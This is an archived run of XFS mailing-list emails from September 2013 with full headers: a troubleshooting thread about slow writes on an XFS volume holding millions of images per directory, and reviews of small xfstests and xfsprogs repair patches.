oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E35FB7F3F for ; Thu, 26 Sep 2013 08:12:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C3EB1304062 for ; Thu, 26 Sep 2013 06:12:26 -0700 (PDT) X-ASG-Debug-ID: 1380201144-04cb6c3501daaa0001-NocioJ Received: from mail.host2max.com (mail.host2max.com [72.29.91.110]) by cuda.sgi.com with ESMTP id hopcxIrGDvAbNSsu (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 06:12:25 -0700 (PDT) X-Barracuda-Envelope-From: rtartar@host2max.com X-Barracuda-Apparent-Source-IP: 72.29.91.110 Received: (qmail 13079 invoked by uid 89); 26 Sep 2013 13:12:24 -0000 Received: by simscan 1.4.0 ppid: 13072, pid: 13075, t: 0.0774s scanners: attach: 1.4.0 clamav: 0.97.3/m:54/d:15366 Received: from unknown (HELO rtartarPC) (rtartar@host2max.com@66.89.67.226) by mail.host2max.com with ESMTPA; 26 Sep 2013 13:12:24 -0000 From: "Ronnie Tartar" To: Cc: References: <0e4201cebaae$24873680$6d95a380$@host2max.com> <5244234D.1010603@hardwarefreak.com> In-Reply-To: <5244234D.1010603@hardwarefreak.com> Subject: RE: Issues and new to the group Date: Thu, 26 Sep 2013 09:12:24 -0400 X-ASG-Orig-Subj: RE: Issues and new to the group Message-ID: <100f01cebaba$0ae84280$20b8c780$@host2max.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 14.0 Thread-Index: AQIDJl/ISO+27jLUJh6l4qq6YZNt2QL0iv5TmVd94wA= Content-Language: en-us X-Barracuda-Connect: mail.host2max.com[72.29.91.110] X-Barracuda-Start-Time: 1380201145 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140942 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Stan, Thanks for the reply. My fragmentation is: [root@AP-FS1 ~]# xfs_db -c frag -r /dev/xvdb1 actual 10470159, ideal 10409782, fragmentation factor 0.58% xfs_db> freesp from to extents blocks pct 1 1 52343 52343 0.08 2 3 34774 86290 0.13 4 7 122028 732886 1.08 8 15 182345 1898531 2.80 16 31 147747 3300501 4.87 32 63 111134 4981898 7.35 64 127 93359 8475962 12.50 128 255 51914 9069884 13.38 256 511 25548 9200077 13.57 512 1023 23027 17482586 25.79 1024 2047 8662 10600931 15.64 2048 4095 808 1915158 2.82 The volume is 57% full. I have removed allocsize=64m from the fstab and rebooted. These are not large files and this could definitely cause issues. Would copying them to new folder and renaming the folder back help? This is running virtualized, definitely not a rust bucket. It's x5570 cpus with MD3200 Array with light I/O. Seems like i/o wait is not problem, system% is problem. Is this the OS trying to find spot for these files? Thanks -----Original Message----- From: Stan Hoeppner [mailto:stan@hardwarefreak.com] Sent: Thursday, September 26, 2013 8:07 AM To: Ronnie Tartar Cc: xfs@oss.sgi.com Subject: Re: Issues and new to the group On 9/26/2013 6:47 AM, Ronnie Tartar wrote: > I have a 600GB xfs file system mounted that suddenly started running > slow on writes. It takes about 2.5 to 3.5 seconds to write a single > file. Some This typically occurs when the filesystem gets near full and free space is heavily fragmented. Writing to these free space fragments requires lots of seeking. Seeking causes latency. I assume your storage device is spinning rust, yes? > folders (with less number of files) work well. But it will copy fast, > then slow for long periods of time. Some allocation groups may have less fragmented free space than others. Put another way, they may have more contiguous free space. Thus less seeking. > This is a virtualized CentOS 5.9 64 bit box on Citrix Xenserver > 5.6SP2. Doesn't seem to be a load i/o issue as most of > the load is system%. My fragmentation is less than 1 %. Any help would > be greatly appreciated. I was looking to see if there was a better > way to mount this partition or allocate more memory, whatever it > takes. The folders are image folders that have anywhere between 5 to > 10 million images in each folder. > Fstab mount is: > /dev/xvdb1 /images xfs > defaults,nodiratime,nosuid,nodev,allocsize=64m 1 1 ^^^^^^^^^^^^^ This tells XFS to allocate 64MB of free space at the end of each file being allocated. If free space is heavily fragmented and the fragments are all small, this will exacerbate the seek problem. Given the 64MB allocsize, I assume these image files are quite large. If this is correct, writing them over scattered small free space fragments also requires seeking. Thus, I'd guess you're seeking your disk, or array, to death. How full is the XFS volume, and what does your free space fragmentation map look like? -- Stan From rtartar@host2max.com Thu Sep 26 08:30:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BC9B77F3F for ; Thu, 26 Sep 2013 08:30:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8EE008F8065 for ; Thu, 26 Sep 2013 06:30:20 -0700 (PDT) X-ASG-Debug-ID: 1380202218-04bdf05387546bf0001-NocioJ Received: from mail.host2max.com (mail.host2max.com [72.29.91.110]) by cuda.sgi.com with ESMTP id a5SuZtZ9NDVDZfJ9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 06:30:19 -0700 (PDT) X-Barracuda-Envelope-From: rtartar@host2max.com X-Barracuda-Apparent-Source-IP: 72.29.91.110 Received: (qmail 15963 invoked by uid 89); 26 Sep 2013 13:30:18 -0000 Received: by simscan 1.4.0 ppid: 15954, pid: 15959, t: 0.1619s scanners: attach: 1.4.0 clamav: 0.97.3/m:54/d:15366 Received: from unknown (HELO rtartarPC) (rtartar@host2max.com@66.89.67.226) by mail.host2max.com with ESMTPA; 26 Sep 2013 13:30:18 -0000 From: "Ronnie Tartar" To: Cc: References: <0e4201cebaae$24873680$6d95a380$@host2max.com> <5244234D.1010603@hardwarefreak.com> <100f01cebaba$0ae84280$20b8c780$@host2max.com> In-Reply-To: <100f01cebaba$0ae84280$20b8c780$@host2max.com> Subject: RE: Issues and new to the group Date: Thu, 26 Sep 2013 09:30:17 -0400 X-ASG-Orig-Subj: RE: Issues and new to the group Message-ID: <101601cebabc$8acb99a0$a062cce0$@host2max.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 14.0 Thread-Index: AQIDJl/ISO+27jLUJh6l4qq6YZNt2QL0iv5TApeTH2KZQss9MA== Content-Language: en-us X-Barracuda-Connect: mail.host2max.com[72.29.91.110] X-Barracuda-Start-Time: 1380202218 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140942 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Stan, looks like I have directory fragmentation problem. xfs_db> frag -d actual 65057, ideal 4680, fragmentation factor 92.81% What is the best way to fix this? Thanks -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of Ronnie Tartar Sent: Thursday, September 26, 2013 9:12 AM To: stan@hardwarefreak.com Cc: xfs@oss.sgi.com Subject: RE: Issues and new to the group Stan, Thanks for the reply. My fragmentation is: [root@AP-FS1 ~]# xfs_db -c frag -r /dev/xvdb1 actual 10470159, ideal 10409782, fragmentation factor 0.58% xfs_db> freesp from to extents blocks pct 1 1 52343 52343 0.08 2 3 34774 86290 0.13 4 7 122028 732886 1.08 8 15 182345 1898531 2.80 16 31 147747 3300501 4.87 32 63 111134 4981898 7.35 64 127 93359 8475962 12.50 128 255 51914 9069884 13.38 256 511 25548 9200077 13.57 512 1023 23027 17482586 25.79 1024 2047 8662 10600931 15.64 2048 4095 808 1915158 2.82 The volume is 57% full. I have removed allocsize=64m from the fstab and rebooted. These are not large files and this could definitely cause issues. Would copying them to new folder and renaming the folder back help? This is running virtualized, definitely not a rust bucket. It's x5570 cpus with MD3200 Array with light I/O. Seems like i/o wait is not problem, system% is problem. Is this the OS trying to find spot for these files? Thanks -----Original Message----- From: Stan Hoeppner [mailto:stan@hardwarefreak.com] Sent: Thursday, September 26, 2013 8:07 AM To: Ronnie Tartar Cc: xfs@oss.sgi.com Subject: Re: Issues and new to the group On 9/26/2013 6:47 AM, Ronnie Tartar wrote: > I have a 600GB xfs file system mounted that suddenly started running > slow on writes. It takes about 2.5 to 3.5 seconds to write a single > file. Some This typically occurs when the filesystem gets near full and free space is heavily fragmented. Writing to these free space fragments requires lots of seeking. Seeking causes latency. I assume your storage device is spinning rust, yes? > folders (with less number of files) work well. But it will copy fast, > then slow for long periods of time. Some allocation groups may have less fragmented free space than others. Put another way, they may have more contiguous free space. Thus less seeking. > This is a virtualized CentOS 5.9 64 bit box on Citrix Xenserver > 5.6SP2. Doesn't seem to be a load i/o issue as most of > the load is system%. My fragmentation is less than 1 %. Any help would > be greatly appreciated. I was looking to see if there was a better > way to mount this partition or allocate more memory, whatever it > takes. The folders are image folders that have anywhere between 5 to > 10 million images in each folder. > Fstab mount is: > /dev/xvdb1 /images xfs > defaults,nodiratime,nosuid,nodev,allocsize=64m 1 1 ^^^^^^^^^^^^^ This tells XFS to allocate 64MB of free space at the end of each file being allocated. If free space is heavily fragmented and the fragments are all small, this will exacerbate the seek problem. Given the 64MB allocsize, I assume these image files are quite large. If this is correct, writing them over scattered small free space fragments also requires seeking. Thus, I'd guess you're seeking your disk, or array, to death. How full is the XFS volume, and what does your free space fragmentation map look like? -- Stan _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Thu Sep 26 09:14:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A7C7F7F3F for ; Thu, 26 Sep 2013 09:14:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 95F6B8F8033 for ; Thu, 26 Sep 2013 07:14:13 -0700 (PDT) X-ASG-Debug-ID: 1380204849-04cb6c2e9f1463900001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id RqENwo8xSaCNFPAm for ; Thu, 26 Sep 2013 07:14:09 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 4DC716A699EA for ; Thu, 26 Sep 2013 09:14:09 -0500 (CDT) Message-ID: <52444130.6030000@sandeen.net> Date: Thu, 26 Sep 2013 09:14:08 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfstests: add xfs/291 to auto group X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfstests: add xfs/291 to auto group Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380204849 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140943 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 291 passes just fine w/ current xfsprogs on non-crc filesystems, so add it to the auto group. Signed-off-by: Eric Sandeen --- Not sure why I didn't do this in the first commit, sorry... diff --git a/tests/xfs/group b/tests/xfs/group index 352a4c5..17fff27 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -171,7 +171,7 @@ 283 dump ioctl auto quick 287 auto dump quota quick 290 auto rw prealloc quick ioctl -291 repair +291 auto repair 292 auto mkfs quick 293 auto quick 295 auto logprint quick From sandeen@sandeen.net Thu Sep 26 09:23:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0FF067F50 for ; Thu, 26 Sep 2013 09:23:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E309C304032 for ; Thu, 26 Sep 2013 07:23:19 -0700 (PDT) X-ASG-Debug-ID: 1380205398-04cb6c37775fe360001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id lP0YUGJ24vRJnpI9 for ; Thu, 26 Sep 2013 07:23:19 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 74BB46A699EA; Thu, 26 Sep 2013 09:23:18 -0500 (CDT) Message-ID: <52444355.50904@sandeen.net> Date: Thu, 26 Sep 2013 09:23:17 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Ronnie Tartar CC: stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: Issues and new to the group References: <0e4201cebaae$24873680$6d95a380$@host2max.com> <5244234D.1010603@hardwarefreak.com> <100f01cebaba$0ae84280$20b8c780$@host2max.com> <101601cebabc$8acb99a0$a062cce0$@host2max.com> X-ASG-Orig-Subj: Re: Issues and new to the group In-Reply-To: <101601cebabc$8acb99a0$a062cce0$@host2max.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380205398 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140943 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 9/26/13 8:30 AM, Ronnie Tartar wrote: > Stan, looks like I have directory fragmentation problem. > > xfs_db> frag -d > actual 65057, ideal 4680, fragmentation factor 92.81% > > What is the best way to fix this? http://xfs.org/index.php/XFS_FAQ#Q:_The_xfs_db_.22frag.22_command_says_I.27m_over_50.25._Is_that_bad.3F We should just get rid of that command, TBH. So your dirs are in an average of 65057/4680 or about 14 fragments each. Really not that bad, in the scope of things. I'd imagine that this could be more of your problem: > The > folders are image folders that have anywhere between 5 to 10 million images > in each folder. at 10 million entries in a dir, you're going to start slowing down on inserts due to btree management. But that probably doesn't account for multiple seconds for a single file. So really,it's not clear *what* is slow. > It takes about 2.5 to 3.5 seconds to write a single file. strace with timing would be a very basic way to get a sense of what is slow; is it the file open/create? How big is the file, are you doing buffered or direct IO? On a more modern OS you could do some of the tracing suggested in http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F but some sort of profiling (oprofile, perhaps) might tell you where time is being spent in the kernel. When you say suddenly started, was it after a kernel upgrade or other change? -Eric From sandeen@sandeen.net Thu Sep 26 09:31:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 74A867F52 for ; Thu, 26 Sep 2013 09:31:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 542448F8066 for ; Thu, 26 Sep 2013 07:31:29 -0700 (PDT) X-ASG-Debug-ID: 1380205888-04cbb02c3b1458890001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id QLG0QIprvfXDQ2HP for ; Thu, 26 Sep 2013 07:31:28 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 54C786A699EA; Thu, 26 Sep 2013 09:31:27 -0500 (CDT) Message-ID: <5244453D.6010605@sandeen.net> Date: Thu, 26 Sep 2013 09:31:25 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Li Zhong CC: xfsprogs , Mark Tinguely , Chandra Seetharaman Subject: Re: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> <5242F31B.4060902@sandeen.net> <1380177932.2983.11.camel@ThinkPad-T5421> X-ASG-Orig-Subj: Re: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() In-Reply-To: <1380177932.2983.11.camel@ThinkPad-T5421> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380205888 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140943 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/26/13 1:45 AM, Li Zhong wrote: > If verify_set_primary_sb() completes the secondary sb scanning loop with > too few valid secondaries found (num_ok < num_sbs / 2), it will immediately > return without freeing any of the previously allocated memory (variables > sb, checked, and any items on the geo list). This was reported by > the Coverity scanner as CID 997012, 997013 and 997014. > > Fix this by using the out_free_list: goto target for this error case. > > Earlier, if get_sb() fails in the secondary scan loop, it goes to > the out: target which does not free any items on the geo list. Fix > this by using the out_free_list: target as well, and remove the now-unused > out: target. > > Signed-off-by: Li Zhong > --- > v2: as Mark pointed out, out in the for loop before also needs list to > be freed. Also remove out lable as it is not referenced any more. > v3: use a meaningful changlog from Eric, and hide the patch changlogs below "---". Thanks for that; you can add my: Reviewed-by: Eric Sandeen alongside Mark's. > repair/sb.c | 9 +++++---- > 1 file changed, 5 insertions(+), 4 deletions(-) > > diff --git a/repair/sb.c b/repair/sb.c > index aa550e3..d34d7a2 100644 > --- a/repair/sb.c > +++ b/repair/sb.c > @@ -733,7 +733,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > if (get_sb(sb, off, size, agno) == XR_EOF) { > retval = 1; > - goto out; > + goto out_free_list; > } > > if (verify_sb(sb, 0) == XR_OK) { > @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, > /* > * see if we have enough superblocks to bother with > */ > - if (num_ok < num_sbs / 2) > - return(XR_INSUFF_SEC_SB); > + if (num_ok < num_sbs / 2) { > + retval = XR_INSUFF_SEC_SB; > + goto out_free_list; > + } > > current = get_best_geo(list); > > @@ -841,7 +843,6 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > out_free_list: > free_geo(list); > -out: > free(sb); > free(checked); > return(retval); > From sandeen@sandeen.net Thu Sep 26 09:43:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3B7227F50 for ; Thu, 26 Sep 2013 09:43:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D742CAC004 for ; Thu, 26 Sep 2013 07:43:20 -0700 (PDT) X-ASG-Debug-ID: 1380206599-04bdf0538754d660001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id EySGK642Xk33xrPi for ; Thu, 26 Sep 2013 07:43:19 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 4E1E46A699EA; Thu, 26 Sep 2013 09:43:19 -0500 (CDT) Message-ID: <52444806.6020900@sandeen.net> Date: Thu, 26 Sep 2013 09:43:18 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Li Zhong CC: xfsprogs , Mark Tinguely , Chandra Seetharaman Subject: Re: [PATCH 2/2] xfsprogs: fix return value of verify_set_primary_sb() References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> <5242F31B.4060902@sandeen.net> <1380177932.2983.11.camel@ThinkPad-T5421> <1380178092.2983.14.camel@ThinkPad-T5421> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfsprogs: fix return value of verify_set_primary_sb() In-Reply-To: <1380178092.2983.14.camel@ThinkPad-T5421> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380206599 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140943 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/26/13 1:48 AM, Li Zhong wrote: > If get_sb() fails because of EOF, it will return with retval 1, which will > then be interpreted as XR_BAD_MAGIC("bad magic number") in phase1() when > warning the user. > > This patch fix it by using XR_EOF here, so it would be interpreted correctly. > Also change the associated comments about the return value. > > Signed-off-by: Li Zhong I think this is OK. I had originally thought we should return whatever XR_* code get_sb() returned, but I wasn't thinking straight; we ignore those other codes, and only stop if we see XR_EOF. So this is fine as far as it goes; I noticed something else in the process though so I'll send a patch for that. :) Reviewed-by: Eric Sandeen > --- > repair/sb.c | 4 ++-- > 1 file changed, 2 insertions(+), 2 deletions(-) > > diff --git a/repair/sb.c b/repair/sb.c > index d34d7a2..2e35a4c 100644 > --- a/repair/sb.c > +++ b/repair/sb.c > @@ -665,7 +665,7 @@ get_sb_geometry(fs_geometry_t *geo, xfs_sb_t *sbp) > * primary and compare the geometries in the secondaries against > * the geometry indicated by the primary. > * > - * returns 1 if bad, 0 if ok > + * returns 0 if ok, else error code (XR_EOF, XR_INSUFF_SEC_SB, etc). > */ > int > verify_set_primary_sb(xfs_sb_t *rsb, > @@ -732,7 +732,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, > checked[agno] = 1; > > if (get_sb(sb, off, size, agno) == XR_EOF) { > - retval = 1; > + retval = XR_EOF; > goto out_free_list; > } > > From joe.landman@gmail.com Thu Sep 26 09:59:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C40F27F50 for ; Thu, 26 Sep 2013 09:59:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 918CC8F8073 for ; Thu, 26 Sep 2013 07:59:44 -0700 (PDT) X-ASG-Debug-ID: 1380207581-04bdf02f2114bd760001-NocioJ Received: from mail-ve0-f178.google.com (mail-ve0-f178.google.com [209.85.128.178]) by cuda.sgi.com with ESMTP id FuuFoRFHC9UGbFx2 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 26 Sep 2013 07:59:42 -0700 (PDT) X-Barracuda-Envelope-From: joe.landman@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.178 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.178] Received: by mail-ve0-f178.google.com with SMTP id jw12so1020364veb.9 for ; Thu, 26 Sep 2013 07:59:41 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.178] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.178] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; bh=U7n78Kqh/Rnfi194enfnyyWOkfGS6Lq/RBnQvZcYk3A=; b=qWWsJ9vLbmQMeSTnZg3fwQ/Dof0zs+YC9T6EXD/FguMRHFtXQd7AuzWWlqEXsi2wL/ iSa6ItAa3qu57mfc4hD1elFiv7oEZeE6wN3SUnH9iwGSQADeSqbZBT12xPwxGtiE/ZqX Otj6MjYOONnTQuzMaFdLw0wD89OYqxjiVTpzdMPwgpmBR9ktD8Q2mEeMJokxw5yESAAZ ws4WHmlBAFrYbqQ7PtSh+7q1Th+GlgDoovUVQbx/4n1nu4NGCarigEdSZolwxOaBM9Jr HmFmJX3gdenF/XJJW6FHkCWl4Asi9q10X8T9ra29x3a696yJUuU/RceMkZDiDI6F0bNY vl6w== X-Received: by 10.52.230.102 with SMTP id sx6mr856974vdc.15.1380207581348; Thu, 26 Sep 2013 07:59:41 -0700 (PDT) Received: from [192.168.1.171] (50-197-102-113-static.hfc.comcastbusiness.net. [50.197.102.113]) by mx.google.com 